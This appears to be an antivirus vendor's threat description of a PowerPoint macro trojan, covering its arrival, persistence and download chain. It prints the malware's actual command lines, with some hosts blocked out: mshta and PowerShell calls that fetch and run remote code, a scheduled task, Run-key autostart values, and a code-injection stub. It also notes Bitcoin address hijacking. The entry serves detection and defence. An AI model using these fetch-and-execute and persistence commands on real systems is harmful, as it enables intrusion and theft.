Trojan.P97M.VALYRIA.YXBED

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It downloads a file from a certain URL then renames it before storing it in the affected system.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• mshta http://www.j.mp/{redirection to specific resource}
• "%System%\WindowsPowerShell\v1.0\powershell.exe" $www='https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt ';$sss= {Obfuscated Code};$bbb={Obfuscated Code};$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
• "%System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://{BLOCKED}1230948@getyournewblog.blogspot.com/p /{number}.html""\"", 0 : window.close"\")
• "%System%\taskkill.exe" /f /im Excel.exe
• "%System%\taskkill.exe" /f /im winword.exe
• "%System%\WScript.exe" "%Public%\kuchb.vbs"

It injects codes into the following process(es):

• %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
DLESOLCRETSAM = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).MSOFFICELO)|IEX"", 0 : window.close")

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
dkkkksakdosexography = "mshta""http://{BLOCKED}1230948@newblogset1{number}.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = "mshta""http://{BLOCKED}1230948@firstblognew123.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
nunukhaoo = "mshta""http://{BLOCKED}1230948@papagunnakjdnmwdnwmndwm.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
replcia = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).nasdnasndnad)|IEX"", 0 : window.close") → spawns and injects code to %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Other System Modifications

This Trojan adds the following registry entries as part of its installation routine:

HKEY_CURRENT_USER\Software
MSOFFICELO = $mixol='akunamahtahaEX'.replace('akunamahtaha','I');sal M $mixol;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$ijijinjnini='{Obfuscated code that injects to spawned aspnet_compiler.exe }'.replace('**^**','%@$!@#%!@$^^@$!@#!@#').replace('%@$!@#%!@$^^@$!@#!@#','%');$asciiChars =$ijijinjnini.ToCharArray();[Array]::Reverse($asciiChars);$tu=-join $asciiChars;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| M

HKEY_CURRENT_USER\Software
nasdnasndnad = $cici=@({Obfuscated PowerShell code that performs Bitcoin address hijacking});[System.Text.Encoding]::ASCII.GetString($cici)|IEX

Download Routine

This Trojan downloads files from the following URLs then renames them before storage in the affected system:

• Short URLs of initial connection:
  • http://www.j.mp/{redirection to specific resource}
  • http://bit.ly/{redirection to specific resource}
    • redirects to:
      • https://{BLOCKED}.blogspot.com/p/{number}.html → remotely executes VB script which establishes scheduled task and autorun key for persistence, sets the specified values in HKEY_CURRENT_USER\Software, and terminates specific MS Office applications
• https://{BLOCKED}.us.archive.org/31/items/img-2-exe/DANIAL.txt → injects code to spawned %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
• https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt → connects to the following URLs which downloads files and executes kuchb.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt → kuchb.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt → batman.bat

It saves the files it downloads using the following names:

• %Public%\batman.bat → starts clone.vbs
• %Public%\kuchb.vbs → persistence for batman.bat
• %Public%\clone.vbs → disables security in infected machine

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)